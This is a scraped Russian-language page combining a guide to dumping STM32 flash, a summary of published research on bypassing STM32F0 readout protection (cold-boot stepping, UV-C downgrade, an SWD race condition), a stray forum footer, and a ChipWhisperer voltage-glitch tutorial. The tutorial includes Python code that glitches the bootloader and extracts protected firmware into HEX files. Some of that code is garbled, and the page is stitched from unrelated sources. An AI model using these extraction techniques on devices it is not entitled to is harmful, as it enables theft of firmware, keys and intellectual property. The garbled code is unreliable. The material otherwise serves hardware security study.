Как считать прошивку с stm32

Сливаем дамп флешки STM32 стандартными инструментами

Как считать прошивку контроллера который не был залочен? До очень просто.

Подключаем плату через st-link и запускаем программу STM32CubeProgrammer или ST-LINK Utility.

Обе программы имеют вполне годный консольный help и документацию, в которой он, по сути, дублируется.

STM32CubeProgrammer. Сохраняет прошивку в bin, hex, srec

STM32_Programmer_CLI.exe -c port=SWD -r 0x08000000 0x20000 firmware.srec

В port выбирается используемый интерфейс, далее идет адрес старта прошивки (0x08000000), размер прошивки (0x20000) и название файла куда будет сохранена прошивка.

ST-LINK Utility. Сохраняет прошивку в файл.

st-link_cli.exe -c -Dump 0x08000000 0x20000 firmware

Ключ -c выполняет подключение, ключ -Dump переводит программу ST-LINK в режим чтения прошивки, далее идет адрес старта прошивки (0x08000000), размер прошивки (0x20000) и название файла куда будет сохранена прошивка.

Сравнить слитый файл с прошивкой на микроконтроллере можно через следующую команду в ST-LINK Utility. Выведет первый не совпавший адрес.

st-link_cli.exe -c -CmpFile firmware.srec 0x08000000

Конечно, удобнее сравнивать файл прошивки с дампом в GUI. Он выводит два окошка с файлами где красным подсвечены не совпавшие секции.

В ST-LINK Utility:

В STM32CubeProgrammer:

Вычитываем прошивку STM32

Почти в каждом микроконтроллере с интегрированной флэш памятью есть защита от вычитывания прошивки. Это делается чтобы защитить интеллектуальную собственность, криптографические ключи и алгоритмы от злоумышленников. Микроконтроллеры серии STM32, получившие широкое распространение в последнее время, особенно часто подвергаются атакам, однако нет практического опыта или информации касательно защищенности STM32 от подобных атак доступной публично. В этой статье рассмотрим системы защиты прошивки на примере STM32f0 серии.

Концепт защиты

Flash Readout Protection (RDP) ключевой компонент в защите, включенный во все линейки микроконтроллеров. Он защищает системную прошивку, сохраненную во внутренней флэш памяти от вычитывания. В зависимости от линейки, могут быть включены дополнительные механизмы, такие как Memory Protection Unit (MPU) и привилегированные / непривилегированные режимы исполнения. Вместе, эти системы призваны повысить защищенность.

RDP имеет 3 уровня защиты, RDP level 0, 1, 2. Защищенность увеличивается с ростом числа.

RDP level 0 : установлен по умолчанию и не предполагает защиты. Используя интерфейс отладки, можно получить полный доступ к устройству.

PRD level 1: Интерфейс отладки остается активным, но доступ к флэшу ограничен. Как только подключается интерфейс отладки, флэш память блокируется. Она не может быть считана ни напрямую, ни через DMA, ни путем исполнения инструкций из нее. Уровень защиты может быть как повышен до 2, так и понижен до 0, с потерей содержимого всей флэш памяти.

PRD level 2: максимально ограничивает и предоставляет максимальный уровень защиты. Интерфейс отладки отключен. Уровень не может быть понижен. Однако, несмотря на самый высокий уровень защиты, уровень 1 широко используется. Многие компании предпочитают не блокировать устройства полностью, предполагая возможности для устранения багов и неисправностей, т. к. на уровне 2 отладка невозможна. К тому же, в серии STM32f1 нет поддержки RDP level 2.

Устройство защиты RDP

RDP level это часть конфигурации систем микроконтроллера, хранящаяся в выделенной option bytes секции как 16 бит non-volatile памяти в виде двух регистров, RDP и nRDP. nRDP побитно комплементарен к RDP. Избыточность необходима для защиты от смены уровня путем подмены одного бита.

Логика работы RDP

Согласно datasheet, на RDP level 1 существует два режим исполнения. Режим пользователя и режим отладки. Как только мк переходит в режим отладки, доступ к флэш блокируется. Чтение из флэша по заявлениям производителя должен вызвать ошибку шины, затем Hard Fault interrupt.

Атака Cold-Boot Stepping

В режиме RDP level 1 при подключении отладчика ограничивается доступ только к FLASH памяти, тогда как SRAM остается доступна. Мы можем попробовать вычитать данные в момент, когда она загружены в оперативную память. С такой уязвимостью борются разработчики криптографических библиотек. Ключи шифрования хранятся в SRAM только во время использования, что составляет несколько миллисекунд, что делают такую атаку практически не выполнимой, даже без того факта, что мы не знаем об организации памяти.

Для преодоления этого ограничения авторы статьи разработали Cold-Boot Stepping (CBS), метод с помощью которого можно делать точные снимки оперативной памяти. Идея метода в том, чтобы точно отсчитывать время от события, к примеру RESET, и циклично с шагом несколько тактов делать snapshot содержимого SRAM. Атака состоит из следующих шагов:

1. Установление системы в изначальное состояние

1. Отключение питания. Необходимо чтобы мк смог снова читать из flash памяти.
2. Установка RESET до подачи питания. Позволяет запустить систему без начала исполнения кода
3. Подача питания под установленным RESET

2. Запуск системы на N кол-во шагов.

1. Запускает исполнение кода путем снятия RESET
2. Ожидание пока исполнение прошивки дойдет до установленного места
3. Установка Reset. Останавливает выполнение, но данные в SRAM остаются нетронутыми.

3. Вычитывание содержимого SRAM в файл

1. Подключение отладчика к мк
2. Снятие сигнала reset. МК не начинает исполнение кода, т. к. находится в состоянии halt установленного отладчиком.
3. Вычитывание SRAM

Повторяя этот алгоритм нужное нам количество раз можно получить информацию о контексте исполнения программы. Для реализации данной атаке необходимо точно контролировать время, что возможно только при использовании дополнительного мк.

Экстракция прошивки через CBS

Развивая описанный метод, можно создать метод полной экстракции прошивки. Во многих продуктах производители используют загрузчик, алгоритм верификации прошивки которого базируется на подсчете чек суммы, например CRC32, реализованной в некоторых линейках мк. Применяя CBS (Cold-Boot stepping) на этапе работы загрузчика, можно полностью восстановить прошивку путем анализа регистров аппаратной чек суммы или программной ее реализации, ведь на определенном шаге в ней хранится байты интересующей нас части прошивки.

На фотографии представлена автономная установка для извлечения прошивки. Ноутбук динамически подстраивает шаг, основываясь на успешности работы на предыдущем шаге. Для мк с малым объемом памяти, например STM32F051R8T6 на 64кб, экстракция займет несколько дней.

Получается, что несмотря на то, что RDP level 1 предоставляет защиту от чтения SRAM, она может быть взломана.

Использование RDP level 2 позволить обезопасить устройство от подобных атак, одна зачастую производители используют RDP level 1. Например, в популярном программном обеспечении для отладки, OpenOCD, предоставляет только команду “Lock” для защиты flash памяти устройство. При этом команда поддерживает только RDP level 1.

Понижения уровня защиты

Рассмотрим теперь методы понижения уровня RDP. Производитель заявляет, необратимость установки уровня RDP level 2. В идеале нам нужно понизить уровень 2 до 0, однако избыточность регистров RDP требует замены 8 битов. Чтобы понизить 2->1, требует изменить всего 1 бит.

Методом UV-C оптической экспозиции можно добиться изменения бит с состояния “0” на “1”. Когда излучение в 254нм попадет на затвор, происходит внедрение электронов и состояние логической ячейки переходит с 0 (заряженное) на 1 (незаряженное). Предварительно требуется очистить кристалл с помощью химического травления.

Однако требуется локализовать область кристалла, где находятся RDP байты. Производитель не документирует внутреннюю структуру кристалла. Напишем программу, которая будет читать области памяти и определять факт изменения бита. В это время будет постепенно подвергать излучению различные части мк. После того, как положение байт RDP найдено, можно изготовить маску для точечного воздействия на мк. В лучшей попытке авторам статьи удалось понизить уровень защиты RDP без дополнительных ошибочно измененных бит.

Защита от понижения уровня защиты

Не существует защиты от понижения уровня RDP, однако можно написать программу так, что на этапе инициализации она как можно раньше проверяет значение битов RDP и FLASH_OBR, в котором хранится текущий уровень защиты, и прекращает исполнения, делая метод экстракции CBS бесполезным.

Взлом интерфейса отладки

Микроконтроллеры производителя ST предполагают отладку по интерфейсу SWD [2]. Когда отладчик подключается к мк с RDP level 1 защита флэш памяти ограничивает доступ. Плохо задокументированный механизм отладки вызывает много вопросов и подстегивает к его изучению.

Авторы статьи создали свою реализацию интерфейса SWD для изучения работы защиты. Оказывается, что защита активируется только если отладчик взаимодействует с шиной AHB-Lite [1]. Получая доступ только к регистрам SWD, защита не активируется, но как только запрашивается доступ к периферии, SRAM или Flash мк переходит в режим отладки и flash память блокируется.

Для определения логики работы защиты авторы уменьшили количество SWD запросов до необходимого минимума для успешной инициализации. В процессе инициализации защита не срабатывает.

Согласно документации на Cortex-M0 [3] инструкции процессора имеют приоритет по отношению к интерфейсу отладки. Получается отладчику нужно дожидаться свободного цикла на шине чтобы исполнить свой запрос. Если отладчик получит доступ к шине раньше защиты flash памяти, то сможет считать данные из не заблокированной памяти.
Авторы статьи изучили работу защиты с прошивкой, эмулирующей нагрузку на шину, состоящий из интенсивного чтения и операций NOP. Если в прошивке нет таких операций, то чтения памяти отладчиком занимает 2 цикла: разрешения адреса и непосредственно чтение. Если добавить одну операцию NOP, то один из трех запросов на чтение не выполнится. Зависимость вероятности успешного чтения от кол-ва операций NOP может быть выражена в виде формулы

Использование операций STR в качестве нагрузки позволят показать, что flash память сама контролирует доступ. Прошивка также очень быстро мигает светодиодом, а момент, когда он перестает мигать, говорит о том, что память заблокировалась и исполнение кода прекратилось.

Одним из объяснений данной уязвимости может быть некорректная имплементация согласования источника тактирования и остальной логики.

Авторы представили действующую реализацию экстракции кода с помощью двух STM32F0 Discovery. Данные отправляются на ПК через интерфейс UART, а SWD реализован на одной из STM.

Атака состоит из следующих шагов:

1. Перезагрузка системы с помощью отключения и подачи питания, чтобы сбросить защиту флэш памяти.
2. Инициализация интерфейса отладки.
3. Установка длины слова отладки в 32 бита
4. Установка адреса чтения из флэша
5. Попытка чтения из памяти
6. Вычитывание считанных данных через SWD
7. Повторить пока не прочтем всю память инкрементируя адрес

Средняя скорость вычитывания получается около 45 байт в секунду, что позволяет прочесть самый емкий «камень» в 256кб за 2 часа. Однако эксперименты проводились только на серии STM32F0 и предполагается, что из-за схожего внутреннего состояния, все мк линейки подвержены подобным атакам. Другие серии могут быть не затронуты.
Данную атаку можно избежать, используя второй уровень RDP, но как показано ранее уровень защиты может быть изменен. В то время как метод CBS требует работоспособность программного кода, уязвимость в отладчике может работать и в случае поврежденной при понижении уровня RDP прошивки.

Выводы

Серия мк STM32F0 содержит ряд уязвимостей позволяющих в лаборатории с базовым оборудованием создать установку для вычитывания прошивки. Методы могут комбинироваться для достижения наилучшего результата или позволить работать в RDP level 2.

Все необходимы материалы, исходный код и примеры представлены авторами статьи публично под лицензией MIT https://science.obermaier-johannes.de/.

[1] ARM LIMITED. AMBA 3 AHB-Lite Protocol Specification v1.0, 2006.

[2] ARM LIMITED. CoreSight Components Technical Reference Manual, 2009.

[3] ARM LIMITED. Cortex-M0 Technical Reference Manual, 2009.

Как считать прошивку с stm32

Часовой пояс: UTC + 3 часа

Запрошенной темы не существует.

Часовой пояс: UTC + 3 часа

Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group
Русская поддержка phpBB
Extended by Karma MOD © 2007—2012 m157y
Extended by Topic Tags MOD © 2012 m157y

Работоспособность сайта проверена в браузерах:
IE8.0, Opera 9.0, Netscape Navigator 7.0, Mozilla Firefox 5.0
Адаптирован для работы при разрешениях экрана от 1280х1024 и выше.
При меньших разрешениях возможно появление горизонтальной прокрутки.
По всем вопросам обращайтесь к Коту: kot@radiokot.ru
©2005-2024

Считывание защищенной прошивки из флеш-памяти STM32F1xx с использованием ChipWhisperer

В предыдущей статье мы разбирались с Vcc-glitch-атаками при помощи ChipWhisperer. Нашей дальнейшей целью стало поэтапное изучение процесса считывания защищенной прошивки микроконтроллеров. С помощью подобных атак злоумышленник может получить доступ ко всем паролям устройства и программным алгоритмам. Яркий пример – взлом аппаратного криптокошелька Ledger Nano S с платой МК STM32F042 при помощи Vcc-glitch-атак.

Интересно? Давайте смотреть под кат.

О возможности считывания защищенной прошивки мы узнали из статьи, в которой приведены результаты выполнения Vcc-glitch-атаки – обхода байта защиты RDP через масочный загрузчик (bootloader) для нескольких микроконтроллеров (далее – МК). Также рекомендуем к прочтению статью о взломе ESP32.

Теоретической базой исследования послужило руководство успешного считывания защищенной прошивки для LPC1114 через масочный загрузчик с использованием ChipWhisperer.

Так же, как и в первой статье, мы решили проводить эксперименты на плате МК STM32F103RBT6:

Возможность записи данных в сектор флеш-памяти и RAM-памяти или их чтения, а также выполнения других действий с памятью МК определяется значением байта защиты (для STM32 – RDP). Для разных МК значения и назначение байтов защиты, а также алгоритм их проверки различается.

Аппаратная настройка

Приступим к проведению эксперимента. Для начала необходимо подключить ChipWhisperer к МК согласно рисунку:

Схема подключения ChipWhisperer к STM32 для считывания защищенной прошивки через масочный загрузчик

На схеме зачеркнуты элементы, которые следует удалить из платы STM32F103RBT6 (в отличие от стандартного подключения МК). Стрелками обозначены места подключения ChipWhisperer, а подписями – его пины.

Наличие внешнего кварца, представленного на схеме, не обязательно, поскольку при работе с масочным загрузчиком плата МК STM32F103RBT6 использует внутренний CLOCK с частотой 24 МГц, поэтому синхронизация между ChipWhisperer и МК отсутствует.

Перейдем к настройке ChipWhisperer. Как уже было отмечено выше, рекомендуемая частота работы ChipWhisperer – 24 МГц (или другое кратное значение). Чем выше кратность этой частоты, тем точнее можно настроить момент атаки. Из-за отсутствия синхронизации подбор параметра scope.glitch.offset необязателен, ему можно присвоить любое значение.

Параметры scope.glitch.repeat и scope.glitch.width необходимо подбирать в зависимости от установленной частоты ChipWhisperer. При большом значении частоты все кратковременные импульсы, количество которых устанавливается при помощи scope.glitch.repeat, сливаются в один длительный импульс. Поэтому можно подбирать значение параметра scope.glitch.width, а scope.glitch.repeat зафиксировать, либо наоборот. Мы обнаружили, что оптимальная длительность импульса должна составлять около 80 нс (определяется как ширина импульса на его полувысоте).

Осталось подобрать значение параметра scope.glitch.ext_offset.

Подбор scope.glitch.ext_offset

Сначала необходимо выбрать момент атаки. Согласно схеме, представленной в документе компании STM, проверка значения байта защиты выполняется после получения запроса на чтение данных сектора флеш-памяти:

Алгоритм ответа на запрос о чтении данных сектора флеш-памяти

Чтобы удостовериться в верности такой схемы проверки, мы считали исполняемый код загрузчика подобного МК без защиты RDP через ST-Link. На рисунках ниже показаны части алгоритма обработки команды Read Memory command.

Общий вид обработки команды чтения памяти (хорошо видны вызов функции проверки RDP и посылка NACK в случае неудачной проверки)

Тело функции проверки RDP

Обратим внимание на тело функции проверки RDP: видно, что происходит чтение регистра по адресу 0x40022000 + 0x1C , логический сдвиг на 30 разрядов и ветвление. Из документации PM0075 Programming manual (STM32F10xxx Flash memory microcontrollers) становится понятно, что 0x40022000 – это базовый адрес контроллера flash memory, а 0x1C – это смещение регистра FLASH_OBR, в котором нас интересует второй бит RDPRT: Read protection, в котором содержится статус защиты RDP.

Необходимый момент проведения атаки – отработка инструкции LDR (загрузки из памяти). Эта инструкция располагается между запросом на чтение прошивки (отправление байта 0x11 с контрольной суммой 0xEE ) и ответом ACK / NOACK МК по UART. Для того чтобы визуально зафиксировать этот момент, необходимо подключить осциллограф к UART1_RX (пин PA10) и UART1_TX (пин PA9), а затем отслеживать изменение напряжения по UART1. В результате осциллограмма атаки по питанию с подобранным значением scope.glitch.ext_offset должна выглядеть примерно так:

Выбор момента проведения атаки

Скрипт считывания прошивки

Теперь необходимо указать момент срабатывания триггера CW_TRIG в коде Python с целью перехвата момента передачи контрольной суммы по UART1_RX. У ChipWhisperer есть библиотека для общения с масочным загрузчиком МК STM32. В штатном режиме эта библиотека используется для загрузки на МК прошивок из руководств при помощи класса class STM32FSerial(object) , расположенного в файле programmer_stm32fserial.py по пути software/chipwhisperer/hardware/naeusb/ . Для активации срабатывания триггера необходимо скопировать этот класс в главный исполняемый скрипт, чтобы метод класса CmdGeneric(self, cmd) стал глобально доступным, и добавить команду scope.arm() до передачи контрольной суммы (0xEE) запроса на считывание сектора памяти. Итоговый класс приведен в спойлере ниже.

Класс для общения ChipWhisperer с STM32

import time import sys import logging from chipwhisperer.common.utils import util from chipwhisperer.hardware.naeusb.programmer_stm32fserial import supported_stm32f from chipwhisperer.capture.api.programmers import Programmer # class which can normally using internal CW library for reading STM32 firmware by UART class STM32Reader(Programmer): def __init__(self): super(STM32Reader, self).__init__() self.supported_chips = supported_stm32f self.slow_speed = False self.small_blocks = True self.stm = None def stm32prog(self): if self.stm is None: stm = self.scope.scopetype.dev.serialstm32f else: stm = self.stm stm.slow_speed = self.slow_speed stm.small_blocks = self.small_blocks return stm def stm32open(self): stm32f = self.stm32prog() stm32f.open_port() def stm32find(self): stm32f = self.stm32prog() stm32f.scope = self.scope sig, chip = stm32f.find() def stm32readMem(self, addr, lng): stm32f = self.stm32prog() stm32f.scope = self.scope #answer = stm32f.readMemory(addr, lng) answer = self.ReadMemory(addr, lng) return answer def stm32GetID(self): stm32f = self.stm32prog() stm32f.scope = self.scope answer = stm32f.cmdGetID() return answer # Needed for connection to STM after reload by reset_target(scope) method def FindSTM(self): #setup serial port (or CW-serial port?) stm32f = self.stm32prog() try: stm32f.initChip() except IOError: print("Failed to detect chip. Check following: ") print(" 1. Connections and device power. ") print(" 2. Device has valid clock (or remove clock entirely for internal osc).") print(" 3. On Rev -02 CW308T-STM32Fx boards, BOOT0 is routed to PDIC.") raise boot_version = stm32f.cmdGet() chip_id = stm32f.cmdGetID() for t in supported_stm32f: if chip_id == t.signature: # print("Detected known STMF32: %s" % t.name) stm32f.setChip(t) return chip_id, t # print("Detected unknown STM32F ID: 0x%03x" % chip_id) return chip_id, None

Следует обратить внимание на то, что масочный загрузчик STM32F1хх позволяет считывать за один запрос не более 256 байт прошивки из указанного сектора флеш-памяти. Поэтому при считывании всей прошивки МК необходимо в ходе Vcc-glitch-атаки выполнить несколько запросов на чтение. Затем полученные 256 байт следует разбить на восемь 32-байтных массивов и сформировать из них файл формата HEX.

Код HEX-конвертера и вспомогательные функции

def int2str_0xFF(int_number, number_of_bytes): return 'X>'.format(int_number,number_of_bytes_in_string) def data_dividing_from_256_to_32_bytes (data_to_divide, mem_sector, mem_step=32): if mem_sector > 0xFFFF: mem_conversion = mem_sector >> 16 mem_conversion = mem_sector - (mem_conversion > 20) > i*4 temp_addr_string -= ((temp_addr_string >> i*4) > 8) + 1 crcacc = (crcacc_2nd_symbol  

# string of start HEX file Start_of_File_Record = ':020000040800F2' # string of end HEX file End_of_File_Record = ':00000001FF' length_of_sector = 256 if length_of_sector % 4 != 0: sys.exit('length_of_sector must be equal to 4') output_to_file_buffer = '' output_to_file_buffer += Start_of_File_Record + '\n' mem_current = mem_start while mem_current < mem_stop: # flush the garbage from the computer's target read buffer target.ser.flush() # run aux stuff that should run before the scope arms here reset_target(scope) # initialize STM32 after each reset prog.FindSTM() try: # reading of closed memory sector data = prog.stm32readMem(mem_current, length_of_sector) except Exception as message: message = str(message) if "Can't read port" in message: # print('Port silence') pass elif 'Unknown response. 0x11: 0x0' in message: # print('Crashed. Reload!') pass elif 'NACK 0x11' in message: # print('Firmware is closed!') pass else: # print('Unknown error:', message, scope.glitch.offset, scope.glitch.width, scope.glitch.ext_offset) pass else: data_to_out = data_dividing_from_256_to_32_bytes (data, mem_current) print(data_to_out) output_to_file_buffer += data_to_out mem_current += length_of_sector output_to_file_buffer += End_of_File_Record + '\n' send_to_file(output_to_file_buffer, File_name, directory)